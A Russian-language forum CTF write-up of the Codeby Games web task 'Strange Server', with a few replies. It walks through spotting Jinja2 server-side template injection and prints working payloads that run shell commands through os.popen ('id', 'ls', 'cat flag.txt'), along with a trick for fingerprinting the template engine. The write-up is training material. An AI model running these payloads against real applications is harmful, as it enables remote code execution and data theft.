Codeby Games Codeby Games - Странный сервер [Writeup]

  • Автор темы Автор темы vov4ick
  • Дата начала Дата начала

vov4ick

Green Team
11.12.2022
58
128
BIT
1 014
Приветствую любителей играть в CTF, особенно тех кто любит играть на Codeby.games.
Сегодня рассмотрим таск под названием - Странный Сервер из категории Веб.

Screenshot_4.png


Первое что мы видим переходя по ip:

Screenshot_5.png


Здесь написано что можно что то протестировать, /same /hello_world и тд. При подстановки мы не получаем ничего интересного.
В начале я думал что то связанное с фаззингом. Потратил время, но ничего не нашел.
Зная что админы любят SSTI , и мы любим это, по этому просто подставляем базовую нагрузку в url:

Screenshot_6.png


Успешно) и мы сразу понимаем что это Jinja2. Я часто обращаюсь к PayloadsAllTheThings, там подробно описано
как определять шаблонизатор, так же там есть полезные нагрузки и не только для SSTI.

Попробуем что то вывести :
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
Этот код в языке шаблонов предполагает выполнение команды id.
В результате его выполнения будет возвращена информация о текущем пользователе:

Screenshot_7.png

Попробуем теперь поискать что нибудь:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('ls').read() }}


Screenshot_8.png


{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat flag.txt').read() }}

_231220144044.png


Вот и наш заветный флаг. Задание оказалось максимально простым. Спасибо за внимание и до новых встреч!
 
Спасибо за райтап! :)
Только вопрос: Как ты понял, что это Jinja2? Это результат опыта, или есть какой-то алгоритм, по которому можно определить?
 
  • Нравится
Реакции: vov4ick
Спасибо за райтап! :)
Только вопрос: Как ты понял, что это Jinja2? Это результат опыта, или есть какой-то алгоритм, по которому можно определить?
Спасибо за оценку! Понять можно по результату этого математического выражения {{7*’7’}} . Какой будет результат , такой и шаблон.
 
  • Нравится
Реакции: Kevgen
Спасибо за райтап! :)
Только вопрос: Как ты понял, что это Jinja2? Это результат опыта, или есть какой-то алгоритм, по которому можно определить?
Вот можно найти как определять что использовать
 
  • Нравится
Реакции: Kevgen
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!